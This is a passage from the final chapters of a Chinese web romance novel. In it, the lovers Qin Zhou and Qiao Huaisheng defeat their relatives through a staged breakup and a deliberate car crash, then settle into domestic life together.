“怎么了?” “我爱你。” 低沉的声音响在耳边,虽然是听过了很多遍,乔淮生耳朵还是有点热,摩挲了下指骨的戒指:“等会儿不就要见了,怎么突然说这个?” “没什么。” 旁边咔嚓一声,秦舟的视线冷冷地扫过偷拍的那人,像是现在才终于回答乔淮生刚刚的提问:“只是觉得……快结束了。” 电话挂断,车子朝着反方向驶出了车库。 * “秦董!” 秘书跑过来:“已经找到了,恒盛来接乔淮生的车是辆宾利,现在刚上高架,我们要不要……” “追!给我追上去!” 凭什么凭什么凭什么!他秦之昭这辈子还没有输过! 他的阿彦尸骨无存,凭什么乔淮生就能做大获全胜的胜利者! 可是车子刚刚跟着上了高架,电话就响了起来:“喂?” “秦舟,是你?” “一直是我。”秦舟降下车窗,好让秦之昭从身后看得更加清楚。 “怎么会是你,乔淮生呢,乔淮生没有跟在一起吗?他在哪里,他……” “我不会再让你有机会接近他的,”时至今日,他终于有机会说出一句正大光明的保护,“不过,我车上倒是有别的东西。” 他嗤笑一声,语气像是在嘲笑:“我把秦彦的骨灰挖出来了。” 身后的车子重重地震了一下! “秦舟!!!”秦之昭目眦欲裂,“他是你堂哥,你给我放下他!放下他!我要杀了你!我要杀了你!” 后面的车子像是疯了一样追上来,秦舟猛地一把甩尾躲过追击。 随后想起,这招还是乔淮生教他的。 “五年前我就告诉过你,我不需要亲人,可是你偏偏不信。” “秦彦因为乔南山的背叛和你的冷漠自杀了,可是这跟我有什么关系?”秦舟语气冷峻,“这跟乔淮生又有什么关系?!” “你们把这场罪怪在他的身上!你们把这场罪怪在我们的身上!” “像你这样自私自利的人根本不会明白,”秦舟轻轻地摩挲了下指骨的戒指: “很多年前,我们就为彼此死过一次了。” 他们是依赖着彼此才能活下来的人,秦之昭和乔南山居然觉得他们会为了一点权势背叛。 多么可笑。 “既然你们不讲道理,那我又需要在意什么无辜呢?” 秦舟轻笑了一声:“秦之昭,你知道吗?你让生生自杀过一次。” “你想知道我当时的心情吗?” 一只骨节分明的手沿着车窗伸出来:“我现在让你也体会一下好不好?” 手指松开,便有粉末顺着风坠落下来,很快被路过的车流碾碎,耳边传来秦舟的轻笑声: “我要你眼睁睁看着秦彦被我锉骨扬灰。” “秦舟!!!!!!” “我要杀了你!我要杀了你!!!!!” 猛地一把夺过方向盘,秦之昭像是疯了一样冲上去! 车身撞来的一瞬间,秦舟松开方向,轻吻了下指骨的素戒。 “我现在也可以为他连命都不要。”回国的时候,秦舟对闫玲说,“这跟我所做的一切,冲突吗?” 不冲突。 从来也没有冲突过啊。 那些欺负过乔淮生的,那些折磨过乔淮生的,终于要被彻底地,完全地清理掉了。 “乔淮生,你做这么多,到底是真的想要纵疆,还是因为别的?” “你选一个,我送给你。” 刚刚到国外的时候,秦舟用自己所有的积蓄买了一条缺月项链。 设计师的设计箴言是:愿月亮永不坠落。 秦舟心中也有一轮月亮。 那个在他少年时期曾经仰望过的人,他希望他永远皎洁,天真,脆弱,敏感。 永远只做自己喜欢的人。 秦之昭这样的人,如果不彻底解决,总会像是阴沟里的老鼠一样冒出来。 那就彻底一点吧—— 最好,永远消失。 让那些折磨过乔淮生的,在今天一起消失。 车子撞过来的一瞬间,秦舟握紧指骨,轻轻地闭上了眼睛。 愿月亮永不坠落。 愿他的月亮在今晚,再无噩梦。 我爱你。 第44章 第四十四章 “也祝福你,千万不要输。…… 乔淮生和顾舟是怎么分开的。 他其实一直都知道。 不是在戒断中心, 不是顾舟被认为秦家的时候,也不是在那个满地鲜血与狼藉的小巷里。 而是在那天晚上。 乔淮生发现顾舟跟秦之昭见面的那天晚上。 那天晚上, 是他们在一起之后,乔淮生第一次跟顾舟吵架。 “你自己闻闻顾舟,你身上是什么恶心的味道!你告诉我,你见秦之昭做什么?!” “他是我的客户。” “客户?什么客户! 秦之昭这样的人找你做客户?行啊,那你现在把工作辞了。” “不行。” “好,好得很。那你现在走吧!滚!滚啊!” 原本温馨的小房子变得乱七八糟,花瓶碎在地上, 玻璃和滴落的水洒在地毯上。遥控器跟着被扫落,投影仪闪了两下,就关机不动了。 顾舟站在一地狼藉中, 望着他:“乔淮生,你不是要我了吗?” “对!”乔淮生浑身发抖, 没有看到顾舟眼尾的红,“你不是要找秦之昭吗, 那你去找啊!滚!” “乔淮生, ”顾舟攥紧了手, “你之前说……” “我之前说的话都是骗你的行了嘛!我现在说让你滚!滚出去!” “好。” 顾舟点点头,却没有往门外走, 而是一路走到窗边,拿起前两天拆下来的钢条,垂下眼, 眼底凶性一闪而过。 随后举起钢条,猛地砸到了自己的腿上! 乔淮生发誓自己听到了骨头断裂的声音。 但他不记得自己当时有没有尖叫,可他永远是会记得当时顾舟望向自己的那个眼神,像是一条被主人抛弃的, 无家可归的狗的,他脸色发白,一条腿因为受伤而蜷缩着,直勾勾地仰望着乔淮生: “你之前说……如果我背叛了你,就把我的腿打断了关起来。” 乔淮生仿佛一瞬间从那个眼神里读懂了下一句: 现在我自己把它打断了……可以不要抛弃吗? 乔淮生手指发抖,蹲下身,想要去触碰他的腿。 却被顾舟一把抱进了怀里。 “乔淮生,”他的声音有些发哑,乔淮生知道他很疼,但是他搂得很紧,以至于乔淮生只能听着他问: “你信不信我?” 信。 乔淮生想说他信。 可是顾舟刚去医院的第二天,乔淮生就在回家收拾东西的时候遇到了找来的乔南山。 “跟你在一起的那个男人是谁?” 乔南山一巴掌甩在了他的脸上:“你为了他,居然敢忤逆自己的父母!你真是太让我们失望了!” “跟他断掉!老老实实结婚生子!乔淮生!你听到没有!” “你以为不说话我就没有办法收拾你了吗?乔淮生!我看你真是翅膀硬了!” 被打的地方火辣辣的疼,乔淮生仰头望着自己的父亲,看着他凶狠的、嫌恶的目光,好像面前这个人不是他的儿子,而是一个弄脏了衣服的应该被清理的垃圾。 二十多年来,乔淮生仿佛第一次认识乔南山。 他应该觉得难过,可躺在电击椅上,被逼着一遍一遍地看那些视频的时候,浮现在心中的居然是—— 顾舟的腿还伤着,现在漫天地找他,应该会很难受吧。 但是他也很难受。 乔淮生想,他不是故意要冲顾舟发脾气的。 事实上,长这么大,乔淮生也没冲谁发过这么大的火。 但是顾舟是不一样的。 顾舟从来都是不一样的。 从小到大,没有什么东西是彻彻底底的属于他,不是属于富有的乔大少爷,也不是属于台上光鲜亮丽的乔学长,而是属于乔淮生这个人。 属于他的光亮,和他在小巷里的疯狂自私扭曲算计。 这样的乔淮生……只有顾舟一个人的乔淮生。 或许是乔淮生潜意识里就觉得无论如何顾舟都不会离开,所以才会肆无忌惮。 不该冲他发火的,乔淮生想。 他只是太讨厌秦之昭了,讨厌到连他出现在自己的视线里都会觉得恶心。 他并没有真的想要顾舟离开自己。 顾舟怎么可以离开自己? 见到他和秦之昭有说有笑的时候,他也很疼啊。 他也很疼啊。 电流传遍全身,乔淮生全身抽搐,好似一条被抛上岸的濒死的鱼。 真的……很疼啊。 他这一辈子没有跟谁道过歉。 如果真的能出去,看在,看在他也那么疼过许多次的份上,他们能不能还像以前一样。 不需要工作了,也不需要柔软的地毯和新鲜的玫瑰。 就只有他们两个人就好了。 这个世界上……还能有一个角落给他们吗? 疼痛让乔淮生的手指不自觉地蜷缩起来,有很多次,他都觉得自己或许要死了。 曾经他渴望和期盼过死亡。 可顾舟说得对,其实他不是真的想死。 他就是需要一个人教他怎么活下去。 他明明都已经找到了。 可是为什么,为什么不能让他们就这样活下去呢? 肺腑像是被穿透,乔淮生弓起腰,不自觉地干呕着。 如果他今天真的死在这里,他的父亲会为他而感到伤心吗? 还是会觉得终于处理了一个污点? 眼前发黑,那种濒死的感觉越来越强烈,乔淮生不想死,但是…… 他的脑袋不自觉地垂下去,却在一瞬间—— 砰、砰、砰、砰! 好像是耳膜鼓噪时传来的幻听,那声音从另一侧的墙壁撞击发出。 砰、砰、砰、砰! 三长一短。 “就像这样,如果我们两个之间用只有我们知道的方式加密,那么下次再出现的时候,就只有我们知道它的含义。” “那它的含义是什么?” “我爱你。” 我爱你。 耳边仿佛又响起低沉的、带着点羞耻与沙哑的声音。 乔淮生震惊地抬起头来,在剧烈的疼痛里死死地盯着另一侧的墙壁。 眼眶发红,连那枚红痣都被冲洗得发亮。 他曲起手指,无意识地点在椅子的扶手上,敲四下,再停一次。 三长一短。 我爱你。 在隔着监控屏幕的无声对视里,没有人知道,他们曾经用这样的方式传达过爱意。 那道声音响起不过三日,乔淮生就被放了出去。 他依然没有答应以后不再喜欢男人不再忤逆。 但是乔南山居然不再追究了。 没有人知道他和秦之昭达成了什么共识。 就像是没有秦之昭的通知,乔南山也许未必会那么快找到乔淮生。 而没有乔南山的默许,秦之昭也不可能带着顾舟来到监控森严的戒断中心。 乔淮生只知道,他出来的时候,他的顾舟不见了。 分手的那一天,乔淮生站在巷口,看着衣冠楚楚风度翩翩的秦舟。 “最近还好吗?”他听到秦舟问。 “这些天……在秦家过得好吗?”是他问秦舟。 不好。 其实一点都不好。 他们彼此都知道。 可是这样的询问只能在愤怒的争吵里夹带,那些关心全部都要打上嘲讽,才算师出有名。 “我们的电影,是你卖的吗?” “是。” “你见秦之昭,就是为了回到秦家吗?” “是。” “好,最后一个问题。做你的大少爷开心吗?拿着我的梦想作你的投名状,终于爬上这个位置,终于有那么多人看你的脸色关心你,满意吗?” 不是不好不开心。 混蛋骗子王八蛋! 秦舟一个因为说个滚就要把腿打断的人,一个为了他连命都可以不要的人,怎么会为了狗屁权势背叛他? 胸膛起伏,乔淮生想骂出声,却看到站在秦舟身后,如同监视般的保镖。 如果他不姓秦,如果他不是秦家的人,或许他们还会有一点转圜的余地。 但是现在,因为秦彦的存在。 秦之昭和乔南山绝对不会让他们两个如愿离开。 弱小就是原罪,没有能力就是原罪。 就算是不顾一切跑了,他们还是每天都有可能被抓回来。 不如一劳永逸。 不如将他们之前横隔的一切……全部斩断。 他们要分开他们,那就让他们也尝尝失去一切的滋味。 让他们再也没有这个能力。 乔淮生知道秦舟的意思。 可是,可是…… 他看着秦舟的脸,眼眶发红,声音颤抖:“但是,我会恨你。” 从今天开始,直到我们成功的那一天,我们不能在人前有任何暧昧的、露骨的关心,将会一直仇视和敌对。 乔淮生深吸了口气,听到顾舟说:“好。” “这是你先背叛我,我不会原谅你。” 你将永远是你背叛者的姿态存在。 我会恨你,会嘲讽你,会侮辱你,会报复你……会用所有狠心的话来攻击我们之间的一切。 “好。” “我不会放过纵缰……还有你。” 让该死的死去。 然后……我们再重生。 “好。” “好,”眼泪落到眼角,乔淮生笑起来,“好。” 他一拳砸在了秦舟的脸上。 那就这样吧。 那就这样,在我们的黄昏来临之前,就这样仇恨的、充满鲜血的继续下去。 乔淮生的手指往下抚摸,摸到秦舟那块受伤的骨头。 他得给秦舟一个理由,让他秦之昭帮他医治。 而这个伤—— 最好是由他亲自施加,才能让秦之昭更加得意。 乔淮生抄起了旁边的木头。 咔嚓! 人们开始上前拉开他,乔淮生从怀中摸出一根烟,好像只有用别的东西将肺腑占满,才可以不用这么疼痛。 “我说过,”乔淮生说,“你要是背叛我,就打断你一条腿。” 秦舟眼眶发红,死死地注视着他。 其实不是。 他们都知道秦舟的这条腿是怎么伤的。 他望着乔淮生的眼睛,仇视的,怨恨的目光。 可秦舟知道他的意思是——我都知道。 就像是乔淮生知道他绝不会背叛,他也知道乔淮生未曾起疑。 毕竟……他们是离开对方就会死去的人。 滚烫的烟蒂按灭在腰腹的花朵上。 皮肤起了褶皱,乔淮生想要收手,秦舟却往上迎了上去。 如果注定要分离。 那么这时的疼痛……也是欢愉。 “这是烙印。这辈子,不管在哪你都要带着它。” 秦舟听到乔淮生说: “现在,我们分手了。” * 和秦舟分手的第一年,报纸上就说秦大少爷在外面花天价买了条项链。 所有人都在说那条项链有多么华丽,只有乔淮生注意到,下方的设计语是: “愿月亮永不坠落。” 和秦舟分手的一年半,那部被卖掉的电影上映了。 情节被改得烂俗,可是男主角每次敲女主角的门的时候,总是喜欢敲四声。 三长一短。 没人知道他这是什么意思,也没人会去一个三流片里找什么艺术象征。 唯有乔淮生一个人在电影院里哭得歇斯底里。 派去跟踪他的保镖回信,乔南山只以为他是被背叛后太过难受,并没有在意。 况且半个月后,之前乖巧懂事的乔大少爷,哦不,现在该叫乔总——突然开始一改脾性,包养起小明星来了。 送了一整个庄园的玫瑰,还用那些花拼了一行字。 消息大张旗鼓地上了媒体,连几家外媒八卦都洋洋洒洒。 只是很奇怪,他跟那个小明星明明是第一次相见,可那行字却是—— “愿我们从未分离” * 五年后,恒盛的乔总和纵缰的秦总在宴会再次重逢。 所有人都知道,他们是怎么样厮杀、仇恨、疯狂,所有炽热的爱意都隐藏在言语的礁石里—— “每次只要离开你一会儿,就把自己搞成这样。” “生生。” “等一切结束之后,把你关在我身边好不好?” “十三道。” “乔淮生。” “我不想你再受伤了。” “你前男友品味不错。” “嗯。你前男友品味也不错。” “干嘛这样看着我,秦舟,既然背叛了,那就做得彻底一点。” “别恋旧情。” “不要心疼我。要恨就做到底。” “乔淮生,这五年……你给人陪酒的时候。” “也没有人来心疼过你。” 在那场不死不休的战场里,在秦舟回来的时候,抓着乔淮生的衣领,却无法落下的一个吻里。乔淮生为他整好领带,像是嘲讽,却更像是缱绻—— “祝福你,千万别输。” “千万,别落我手里。” 而在那硝烟弥漫的赛场上,从生死之际看到乔淮生的脸,终于确认自己回到人间,秦舟望着乔淮生离去的脚步—— “也祝福你,千万不要输。” “也千万,别落我手里。” 也千万……回到我身边。 车里的音响放着当初的那首歌: “害怕悲剧重演 我的命中命中” “越美丽的东西我越不可碰” “历史在重演 这么烦嚣城中” “没理由相恋可以没有暗涌” 剧烈的碰撞声响起,玻璃飞溅,戒指上染上血痕,秦舟的视线模糊了一瞬,好似在耳边听到乔淮生的声音。 你看,生生……秦舟轻轻地笑了声—— 我们赢了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 第四十五章 正文完结 第45章 第四十五章 正文完结 警车来得比一般的交通事故都要快。 秦之昭很快被人带走, 秦舟知道最后的罪名会是故意杀人 。 有人想要拉他,秦舟摆摆手, 靠在车门剧烈地喘息着,看乔淮生从另一侧快步走过来。 蹲下身,一把拎起了秦舟的领子,乔淮生手指就要落下去,看到他侧脸被碎玻璃划上的伤,眼眶通红,又放下了。 秦舟反倒笑了, 伸手碰碰乔淮生的脸:“哭什么?” 乔淮生:“混蛋。” “我本来就是个混混,”秦舟说,“乔总之前跟了我那么久, 自己还不清楚吗?” 他本意是想要缓解一下气氛,可谁知乔淮生眼眶更红了:“是清楚!”乔淮生猛地将他提起来, “早该在你要换车的时候我就该想到!早该在你没有亲自过来的时候我就该想到!” “换了我的车自己上去!你想做什么,秦舟!”乔淮生冷冷地望着他, “你想替我去死吗?” “说话!” “你说的结束就是这样的结束吗?让你跟他一命换一命?!你……” 秦舟猛地吻了上去。 舌尖深入口腔, 连同声音一起被剥夺, 他一条腿曲起,勾着乔淮生的腰身让他靠近自己怀里。 舌尖尝到血腥味, 好像他们每一次的相拥都要如此鲜血淋漓。只是这一次,终于可以不在意那些目光、监视、囚禁和过往。 舌尖被咬破,没有人喊疼, 只是将手指抓紧脊背,将两个人融得更深。 “我知道怎么才能让撞击受到的伤害最小。”秦舟解释,“你教过我的。” 乔淮生居高临下望着他:“我教你的时候是让你用来做这个吗?” “可是我跟你在一起,”秦舟的手指扣住他戴着戒指的手, “也不打算再分开了。” 乔淮生想要骂人的话刹那被堵住,微微眨了下眼睛,用力拉了一下秦舟,想要将他带回去:“起来!” 手指拽了一下,秦舟居然一时间没有跟着他起来。 “先等一下,”秦舟的手肘撑在车门旁,找了个支撑点,胸口剧烈地起伏了下,“我……” 乔淮生眼眸一凝,一把扯开了秦舟遮掩的地方。 黑色风衣看不出什么痕迹,可等真的被掀开,才发现玻璃碎片腰腹处划下一道可怖的伤口。 乔淮生垂下眼,从翻开的血肉里看到当初的那朵刺枚纹身。 蕊心正好盖住了那道可怖的烟蒂痕迹,比乔淮生当初画得更加艳丽盛大,可见做纹身的人,一点也没有对自己留手。 而那道玻璃碎片就从腰腹中央划过,好似锋利的刀刃将那朵花刻上血痕,鲜血正顺着伤口流淌。 秦舟脸色苍白,不知道已经忍耐了多久。 救护车还在来的路上,乔淮生的脸色却比秦舟还要难看。 “生气了?” 五年前秦舟跟人打架的时候,乔淮生就经常露出这副表情。 秦舟很喜欢他关心自己的样子,好像是他在这个世界上也是有人在意。 只是现在……他好像已经不再需要这种方式来确证爱意。 “对不起。”秦舟很快道歉,“我真的没有想要跟他同归于尽的意思,但是只有这样才能防止他逃走,最快解决。” “还有这个,”秦舟将车上的材料递给他,“我之前在国外的时候,将纵缰的业务转移了一部分做了投资。” 那些文件的最终收益人全部写的乔淮生的名字,秦舟笑了笑,像是献宝似的,带着几分讨好:“你不是想要做一个导演吗?” 当初是秦舟卖了乔淮生的电影,而今,他终于能够对他说: “我把版权买回来了,生生。” 秦舟笑了笑:“你以后可以只做一个导演了,想拍什么片子,我们就……” “你是什么时候开始准备这些的?”乔淮生看着他手中的东西,眼眶微微发红,“拿整个秦家送给我做礼物?” “在戒断中心见到你的第一眼,”秦舟伸出手,抚在乔淮生的眼角,他动作分明很温柔,可说出的话却令人胆寒,“我就把他们所有人的死亡方式都想好了。” “疯子。”乔淮生说。 “那你呢,”秦舟将那滴泪给抹去了,“喜不喜欢?” “真巧,”乔淮生望着他的眼睛,秦舟那双鬣狗般的眸子永远只有他一个人,像是永不背叛的恶犬,他说,“我也是疯子。” 救护车的警笛声终于响起,鲜血与暮色里,乔淮生第一次在秦舟面前弯下腰,吻在了那朵玫瑰上。 柔软的嘴唇被鲜血沾湿,秦舟猛地颤抖了下,手指抓住乔淮生的肩膀,试图说些什么,却终于抵挡不住身体的不断失血,眼前一黑。 “秦舟!” “秦舟!!!” “别睡!秦舟!!醒醒!!!秦舟?!!!” 昏沉的意识被唤醒,秦舟睁开眼,看到乔淮生焦急的目光。 他从前很喜欢乔淮生为他担忧的样子。 只是如今,却只有心疼。 乔淮生前二十年吃过太多苦了。 往后,最好连一次皱眉都不要有。 “乔淮生,”秦舟笑了笑,“有一件事,我一直没有告诉你。” “其实那天在小巷里……我看到你了。” 在那个夕阳错落的巷子里,老旧的纹身店里,秦舟从黄毛的手上夺过刀,而乔淮生将刀刃压在手腕的那一刻。 秦舟仰头看到了他的脸。 干净的、清澈的、漂亮的,值得这世界上所有美好的修饰词。 他并不是真的平静真的视若无睹真的不在意。 “我本来……是要杀人的,”秦舟说,“但是我见到了你。” 像是月亮一样皎洁的人,秦舟知道他一路跟着自己回了家,知道他穿过肮脏的蛛网凝结的小巷,知道他上了对面的按摩店里窥视着自己。 在月色笼罩的黑暗里,在两扇窗户的沉默窥探里,只是那一个目光,那样无趣的乏味的生活好像是突然就有了意义,连身上所有的伤痛都变得愉悦起来。 于是,秦舟坐在窗边,望着乔淮生的方向,轻轻地笑了一下。 那是乔淮生见到秦舟的第一个笑。 他原本以为是他真的不会愤怒的证明。 原来……只是因为见到了月亮。 “所以,别害怕。” “是你救了我,”秦舟扣住乔淮生的手指,像是献祭般地,费力地抱上他: “生生,只要你在,我就会好好活着。” * 秦舟被勒令养了半个月的伤才出院。 回的是乔淮生当初的那套平层。 虽然房产确实是乔淮生的,但里面的东西无一不是秦舟置办的。 他借着拍卖会的名义将这些送给乔淮生,可乔淮生只需要看一眼,就明白了他的意思。 在他们分离的那些年来,好像只有的想着这些,才能让自己撑下去。 所以这个房子住起来自然也十分舒心。 厨房的调料台按照高低次第错落,为了方便秦舟这个强迫症。 家里装了影音室,为了方便乔淮生看电影,地毯是秦舟某次去土耳其收来的,柔软别致,即便是乔淮生喜欢蜷缩在沙发下看电影,也不会觉得冷。 书房的办公桌是双人的,但介于他们看着看着就会纠缠到一起,椅子做得很大,旁边的抽屉一拉就是日常用品,某次做得太过被乔淮生一怒之下给他扔了。 于是秦舟又放到了下一格。 宁斯与拜访的时候,秦舟正在厨房做饭。 乔淮生一边吃着洗好的水果,挂着个耳机打电话: “对,就是要去沙漠。” “抠图?我要是抠图我找你来干什么?告诉他不去也可以,违约金照价赔偿,拍了几部戏就想跟我在这里耍大牌?” “余地?没有余地,你最好晚上之前给我回话,我明天就可以换新人入场!” 乔淮生挂了电话,才冲着宁斯与一点头:“坐吧。” “谢,谢谢乔总。” 宁斯与现在分明都已经接管易遇科技了,但是见到乔淮生的时候还是会像是当初那个学生一样,规规矩矩地坐在对面。 乔淮生看他这个样子,忍不住轻笑了声:“不用叫我乔总,”他说,“我现在不管公司了。” “那乔总……那您现在做什么?” “导演啊。” 乔淮生伸了个懒腰,靠在沙发随便翻着投影仪:“怎么,看不出来吗?” “没有,”宁斯与说,“我只是……没想到。” 眼前的乔淮生跟当初在商场杀伐决断时完全不同,当初的乔淮生虽然身边纵情声色,可那笑意总是不达眼底。 不像现在……宁斯与想起刚刚乔淮生接电话时的样子,看着他身上柔软的家居服和唇角的笑。 “乔总你现在……感觉很好。” 不像是当初因为恒盛大少爷的这个身份,现在的乔淮生,只是作为乔淮生自己,就足够让人移不开眼睛。 当初对乔淮生的悸动在此刻忍不住复苏,宁斯与掐了掐掌心,让自己转移话题:“新电影想好题材了吗?” “放心吧,应该不会太差。”乔淮生说。 毕竟他刚刚用了五年,导演了一部大戏。 “宁总要是感兴趣,可以来投几部?” “你钱不够?”宁斯与还没来得及回答,秦舟就走了过来,手指在乔淮生的后颈上捏了捏,语气低沉,有些审视地看了对面的宁斯与一眼。 “不管我够不够?”乔淮生压根不管他,“怎么,还管得着我拉投资?” “不敢。” 秦舟很好脾气地低头,仿佛当初那个乔淮生分毫必究攻城略地的那人不是他一样,甚至被乔淮生一看,主动推了一个果盘到宁斯与旁边,“吃水果吗?” 宁斯与对秦舟的印象还停留在那天在赛场上不要命的时刻,乍一见他现在这春风和煦的样子,却有一种他会笑着往水果里下毒的感觉,赶紧摆摆手说不用。 倒是乔淮生扔了颗葡萄进嘴里。 葡萄算是乔淮生比较喜欢的水果,但最好是海拔不过分高,没有特别酸但也不会过分甜。 秦舟试了二十多个品种才找到合适的。 厨房里炖着汤,乔淮生一边看着电影,秦舟就坐在旁边帮他剥着葡萄。 宁斯与觉得自己竟然从这个场景里看出了几分温馨。 这本来是对任何人都非常简单的场景,却不知为何,出现在他们两个人身上却觉得如此来之不易。 “那个……”虽然知道可能有点破坏气氛,宁斯与还是没忘了自己过来到底是来做什么的,“这个是‘渡川’这个季度的财报,你们看……” “给我们看什么,”乔淮生看他一眼,“当初都说了选了这条路会给你报酬。这就是报酬。” “但是……” “不用说了,”乔淮生笑了声,从秦舟手里接过投喂水果,“再说你旁边这位秦总又要问我是不是钱不够用了?” 乔淮生看了眼宁斯与欲言又止的表情:“还有什么事吗?” “是还有一件。” 宁斯与咬了咬嘴唇,小声道:“我听说,秦之昭在监狱里自杀过一次。” 乔淮生和秦舟的笑容瞬间收敛了。 宁斯与不太明白他们之间的关系,只能硬着头皮说下去: “但是不知道为什么,当天本来该去检查的工作人员晚了五分钟,以至于他并没有第一时间被发现,白白受了一场苦,现在又被抓了回去。” “听说他在医院里醒来的时候都要疯了。” 秦舟剥着葡萄的手停住,乔淮生的指尖点在遥控器上。 说不上震惊也说不上幸灾乐祸,只是好一阵,他们都没有说话。 宁斯与后知后觉自己好似说了什么不该说的:“那个……” “这电影有点一般。” “这葡萄有点甜。” 两人的声音同时响起,对视一眼: “那换一个?” “那换一个?” “好。” 乔淮生从盘子里挑了一个葡萄吃,秦舟擦了擦手,去帮乔淮生找新的喜欢的电影。 两个人默契地跳过了这个话题。 没人去追究这件事到底是谁做的,也没有人去责怪和质疑。 他们之间的许多事情,或许都不需要解释和询问。 在这个世界上,并不是所有的分离都需要怀疑与误会。 最起码他们没有。 从来没有。 电影放好,厨房里的汤就煲好了。 秦舟原本没做宁斯与的饭,但乔淮生一留下,宁斯与还是坐下了。 自从渡川的事情了解之后,乔淮生已经许久没有联系过他了。 宁斯与承认自己送财报的时候存了点别的心思。 毕竟……这样跟乔淮生一起吃饭的时候,以后不知道还能不能有? 吃完饭,乔淮生忙着打电话筹备,秦舟去送的宁斯与。 “我知道你喜欢他。” 几乎是刚出门,宁斯与就听到了秦舟这句话。 当初在餐桌上隐而不发的终于在现在挑明,宁斯与甚至觉得,从秦舟第一次在酒局上见到他和乔淮生的时候,就想说这句话了。 心中咯噔一声,宁斯与下意识往后退了一步。 看他这副如临大敌的样子,秦舟忍不住嗤笑了一声:“放心,我不会对你怎么样的。” “虽然很讨厌,我也不至于把每一双看向他的眼睛都挖出来。” “你没有伤害过他,我不会动你。” 他这么说,宁斯与心中油然浮现莫骁的下场——听说乔南山在监狱里为了脱罪,将锦荣资本的一切违规操作全推到了莫骁的头上。 两个人狗咬狗一样在法庭上辩论了好几场,早已是业内笑话。 “那秦总跟我说这个是干什么?” “没什么,”秦舟说,“只是提醒你,他这辈子都不可能爱上别人的。” 饶是宁斯与,此刻也不得不被激出了几分逆反:“你凭什么这么觉得?” 秦舟静静地看了一眼,就像是当初乔淮生跟乔南山保证一定能把秦舟骗去锦城一样,秦舟也说了一模一样的三个字:“因为我。” * 秦舟回去的时候,乔淮生靠坐在沙发上打电话。 他拿起投影仪的遥控器,将乔淮生刚刚没来得及找的电影给他搜了出来。 是一部精神分析学派的电影,恰好是乔淮生最近研究的方法。 乔淮生抬眸看了他一眼——他们之间总有很多不必言说的默契,有时候乔淮生甚至觉得,秦舟可能比他还要了解自己。 脚掌勾住秦舟的腰身,乔淮生挂了电话:“我以前怎么没发现,秦总这么热情好客过。” “跑去威胁人家小朋友了?” 秦舟对乔淮生会知道自己要做什么毫不意外,事实上乔淮生让他出去就是默许,但是他还是转过身,手指握住乔淮生的脚踝:“对。” “胆子挺大,”乔淮生脚掌勾了勾,笑了,“怎么,还想要独宠?” 秦舟跟着扯了扯嘴角,望向乔淮生的眼睛: “我跟他说,你这辈子不可能再爱上别的人了。” 唇角带着笑,乔淮生知道这个话题还可以再调笑几句,但他看着秦舟的目光,心里很清楚他说的是事实。 如果一个人,你与他经历过生与死、逃亡与别离、爱意与怨恨。 如果你们彼此,都是因为对方才能活下来的人。 这辈子,又怎么会再容得下别人。 五年来,他的假话已经听得太多了,于是在这个时候,乔淮生终于点点头:“对。” “不会再有别人了。”他说,“因为我们,从来也没有分开过。” 握着他的手指一紧,话音刚落,秦舟胸膛起伏,猛地将他拽落到地毯上。 电影里无声地播放着主角脑海中无意识的画面,两人被绳索相互圈紧,刻进血肉的束缚好似红线。 乔淮生修长的手指在地毯上收紧,他早知道秦舟买这块东西也不只是为了给他看电影用,却依然惦记着:“你的伤……” “嗯……” 说出的声音被短促的呻.吟代替,秦舟一只手揽着乔淮生,手掌托着他的臀部将他换了个身位:“那不然,今天你自己来?” 乔淮生双手撑在地毯上,微微眯起眼睛。 他在这种事上一直不扭捏,只是思索了一瞬,便抬起了身。 重力下落的一瞬间,秦舟双目赤红,揽住了乔淮生的腰。 微微挺身,身体好像和意识一起被抛上了高空。 他仰望了五年。 终于在这一刻,月亮收拢在他的掌心。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m